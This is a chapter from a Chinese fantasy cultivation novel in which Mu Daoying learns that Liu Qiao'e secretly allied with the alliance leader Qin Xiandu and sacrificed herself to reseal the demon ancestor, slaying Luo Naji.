慕道瑛仿佛做了一个很长很长的噩梦。 梦中天地反覆, 地狱的t?烈火烧了起来,烧毁了一切的庄稼,房屋, 吞噬了一切的百姓,生灵。 梦中有恶鬼横行, 骂他枉读了诗书,却囿于儿女情长,与魔为伍, 助纣为虐, 断绝了此方的生机。 忽然,耳畔狂风大作,眼前景色变化。 又响起刘巧娥似嗔似怒呼唤他的嗓音。 她唇角扬着笑, 站在门前, 身后麦浪翻涌,新稻齐平。 她喊他快出来呀, 快出来跟他看看这五谷丰登, 百姓安居乐业的盛世。 说完她身形一晃,不见了踪影。 他愣了一下,下意识追她脚步出去。 耳畔忽又响起一声长长的叹息。 紧跟着,他忽然看到一张清俊秀逸, 唇红齿白的男人脸。 这少年玉冠道袍, 手把拂尘,端坐在玉台之上, 目含悲悯, 轻轻叹息。 慕道瑛的脚步顿了下来,浑如个霹雳当头砸下,他怔住了, “盟主?” 那少年含笑颔首:“慕道友。” 正是自始至终,都不曾在众人之前露面的仙盟盟主秦仙都。 慕道瑛浑身一震,睁开眼打量四方。 忽然意识到这一切并不是梦。 他的双脚仍脚踏实地踩在地面上。 他仍活着。 他二人如今正站在仙盟玉京至高处,紫极台上。 向下俯瞰,长风过处,层楼叠宇,一望无尽,油云浩浩,百花盛开。 没有他梦中的战火,天灾,废墟。 四角檐铃被风吹动,琅琅不息。 “我……”慕道瑛突然预感到一个极其可怖的结果,“这究竟是怎么回事?我睡了多久。” 秦仙都叹道:“三日,整三日。” 慕道瑛嘴唇发木,语不成句,“刘巧娥……魔门,为何。” 秦仙都突然安静了一刹。 他的沉默,给慕道瑛的心底敲响了丧钟。 他怔了一怔,没有意外,没有悲恸,眼底只荡开无边无尽的空茫。 她,还是失败了吗? 是仙盟赢了?那她呢,她如今还活着吗? 秦仙都顿了好一会儿,才轻轻道:“刘道友她……魂归道山了。” 慕道瑛心头一震! 合上双眼,心底苍凉如大雪纷飞。 “她……”她到底是怎么输的,他昏迷的过程中到底发生了什么。 他想问,却问不出口。 却又在心神巨骇之间,猛然意识到了一个不对劲。 她若跟魔门真共同沉沦灭亡。 为何,仙盟盟主仍呼唤她一声,刘道友? 秦仙都闻言又是一声轻叹。 他娓娓道来,缓缓同他说了另一件他不曾在溯世镜中看到的,隐秘往事。 这记忆因太过重大,不能暴露人前,早在数年前便被他以仙门秘法特别封存,就算溯世镜也照不出这一段往事。 在孟慈死后的那几年,刘巧娥的确想要夺得返魂灯,复活他的生命。 罗那吉为此找上门来,向她提出了合作的要求。 她知晓孟慈死的蹊跷,那些魔物出现得太过古怪,可她仍选择暂时按下仇恨,同他合作。 直到枯荣禅师找到了她,将她介绍给了秦仙都。 天数流转,魔门将兴,仙盟早已烂到了根子里,魔门的兴盛成了不可逆转之势。 秦仙都问她,可真愿见这天下生灵涂炭? 最重要的是,可真愿见孟慈所爱的这天下生灵涂炭? 他一生都在人与魔之间斗争,至死也不肯成魔。 她当真愿见这天下沦落到这尸横遍野,魔气肆虐的境地吗? 她曾经恨透了这个世界,恨透了这个世界上的一切人。 可在最初的最初,那个刘家村里走出的女孩子,身体里仍怀着一颗单纯的向善之心。 投身邪道,非她所愿,她向往诗文中“背上匣中三尺剑,为天且示不平人”。 她爱慕慕道瑛,或许只是因为骨子里想变成同他一样的人。 恨火充塞了她的心肺,可她的眼里,仍爱着这山河,爱着这曾经融化了她内心坚冰的百姓。 于是,那一天,仙盟的傀儡盟主秦仙都,跟她达成了一个大胆的约定。 他们要彻底断送魔门的痴心妄想,也要颠覆仙盟,还天下一个清平。 早在很久很久之前,秦仙都便曾想打击仙盟世家了。可惜那时的他太过年少,急于求成,反受了重伤,虽侥幸洗脱了嫌疑,却不得不选择蛰伏起来,以待来时。 刘巧娥出现,作为他的代行,游走在正邪之间,同罗那吉合作,去争夺返魂灯。 灵元牵扯返魂灯太深,性命难保,她假意杀死灵元,令灵元得以金蝉脱壳,假死脱身。 所谓的被掉包的“返魂灯”才能如此轻而易举便骗过盟主的眼睛。 他们将计就计,深入地下矿脉,将魔气兴盛的真正原因,暴露在世人面前。 宗门世家不加节制,肆意挖矿,令天地间灵气衰弱,近乎枯萎断绝,魔气得以窃据了上风,妄图毁灭这世间。 同时,秦仙都也在暗中打击几大家的势力,引导几大家争斗不休。 为此,他甚至不惜在春台问道当日,配合刘巧娥,对自己出身的游剑阁悍然出手。 清虚,詹真人一蹶不振,他收拢几大家的势力,渐渐从傀儡掌握实权。 宗门世家垄断了资源,断绝的灵气失去了平衡,天灾地祸,旱涝无常,百姓田间地头年年欠收。 它们是腐烂透了的庞然大物,是趴在天下修士,百姓身上的吸血虫,沉疴旧疾非虎狼之药而不能根治。 他在仙盟发动对合欢宫,对魔门的战争中,一点点牺牲反对力量,打击正魔双方势力,改革仙盟。 蓝淑英的猜测并没有错,仙盟高层有内鬼。 可谁又能想到,刘巧娥领导的这场正魔之战,进展如此顺利,其实是因为她的内鬼是当今的仙盟盟主呢! 最终到了决战那日。 慕道瑛是个意想不到的变故。 刘巧娥伤重被困,大事未成,秦仙都作为最后那张底牌,不能轻举妄动,是慕道瑛他误打误撞助力了刘巧娥脱困,带着三样道器,赶到了封印魔祖姜重冥的无明弱水。 想要打破魔祖封印,非三样道器,圣君功法,阴阳二气运转并行不可。 圣君尚未彻底炼化魔祖,便撒手人寰。刘巧娥既能凭借上述条件破开封印,自然也能继承圣君的遗志,重新加固封印,封死魔祖复出之路。 那日,事到临头,她突然反变,以己身投入封印,拯救了苍生。 这也是无可奈何之事。 三样道器连同她本人都是封印的钥匙。 如今钥匙尽毁,秦仙都也配合她现身人前,击毙了罗那吉。 魔门,仙盟,改换了天下日月,势力得到了大洗牌。 如今的天下,是新的天下。仙盟再无法垄断东华境内一切土地,房屋,资源。 是她向往,所奋斗,却无缘得见的,海清河晏的太平天下。 封印当日,没有人知晓她内心的惊惧,惶恐,不安。 孟慈毕竟已成过去时,她纵再念他,想他,心底到底还是贪恋着这人世红尘的。 夺得返魂灯之后,同慕道瑛的分道扬镳,罗那吉的威逼利诱,愈发令她清楚地明晰了自己的结局。 她从同他那一夕风月,一晌贪欢的温柔梦中,猛然惊醒。 她害怕,烦躁,惊恐,不安,如同困兽。 可她答应过他,要替孟慈,也要替死去的家人父母守住这一方水土山河。 离开了太和宗。 她纵高跃低,驾一道长长的烟气,头也不回地冲向了无明弱水。 无明弱水,无光,无明,只是一汪漆黑的,粘稠的,生灵断绝,连片鹅毛也不能浮起的人间炼狱。 千千年,万万年,一如是。 罗那吉带领着亲信魔人,在无明弱水之上布下法阵,早已等待多时。 “终于来了!倒叫我好等!”这素日里,一向游刃有余,慵懒优容的男人,头一次显露出焦急之色,快步朝她走来,“如何?三样道器呢?” 刘巧娥冷冷说,“都在了。” 他下意识迈出一步,想夺宝,觑见她冰冷眼风,又颇为知机识趣倒退一步。 点点头,对四周道:“那开始吧。” 阵法开始运转。 永夜无光的无明弱水之上,第一次如水波纹般向外迅速层层亮起金色阵光。 这是双重大阵,足可延伸至方圆百里。 最外层的那重是护阵,用以提防,逼退一路追杀刘巧娥到此的仙盟修士。 最里面的那一重,才是真正的破阵之阵。 罗那吉一挥袖口,无波无澜的无明弱水,顿时浮起一道百丈巨浪,矮在云端。 刘巧娥手捧三样道器,站在浪端之上。 瞥见那冰冷,漆黑,而无流动的弱水,她心里发寒,双腿发颤。 这便是她的结局了吗? 她贪慕这锦绣珠玑,娈童媛女,浪酒闲茶。 她贪慕这红尘风月,人间烟霞。 而她的一生都要投入这冰冷,黑暗的弱水之中了。 仙盟的修士这才后知后t?觉,感到不妙。 他们惊变了脸色大声质问,他们到底要干什么。她这返魂灯从何而来。 别执迷不悟了! 天边不断有流星飞来,是数不清的修士,从四面八方赶到降下。 他们冲击着护阵,魔门也有些扛不住了。 罗那吉难得发了急,质问她:“你到底在干什么?!傻站着发什么呆?!” “别忘记你我之间的约定,你难道不想救他了?!” “破开封印,我救他性命!” 她唇角扬起个笑,竟轻轻笑了。 突然觉得眼下这一幕有趣极了,正与魔,一样的心急如焚,他们的呼喊远去了,焦急的面容模糊了。 她手捧三样道器,又回头望了眼身后的人间月。 这一刻,勇气战胜了死亡的恐惧。 她衣袂飞扬,义无反顾地,投入了弱水之中。 轰! 罗那吉遽然变色! 下坠的过程仿佛变得无限的慢。 刘巧娥甚至能清楚地看到罗那吉惊惧到极点而微微扭曲的眉尾,痉挛的面色。 她没想到,竟还能看到罗那吉发了疯一般地,拼了命地纵身向前,想要“救”下她。 可她并没有停下,她撕开掌心早就准备好的一道符箓。 少年的虚影翩然而落。 血红的朱砂,用秦仙都的心头血画成,一笔一笔都灌注他半生的功力! 刘巧娥闭了闭眼,向这虚影之中不断灌注自己仅存的灵气! 少年的虚影渐渐与她的身形重合在了一起。 刘巧娥指尖划过夜空,悍然出剑! 这一剑,划破月色! 是合她与秦仙都之修为功法,天地之间,最至极的一剑! 以此符文为牵引,同一时间,仙盟玉京,少年盟主迈出云头! 罗那吉这一纵,当真奋不顾身,撞到刘巧娥的剑光前,想要再收势却已然不及! 一剑击碎了他的心肺,目睹罗那吉震愕的,痛恨的神情。 刘巧娥这才头一次,生出大仇得报的畅快! 她早就看这人自大的嘴脸不顺眼!自以为一切尽在掌握之中,人人都是他手下的棋子,任他摆弄的玩具! 当她以为她真不知道孟慈的死跟他有关吗?! 她哈哈大笑,这是她有生以来,第一次感到如此的畅快开怀! 襟怀壮阔,正气浩然。 她长笑了两声,弱水漫涌了上来,淹没了她的口鼻。【魔蝎小说 mo xie xs .c om】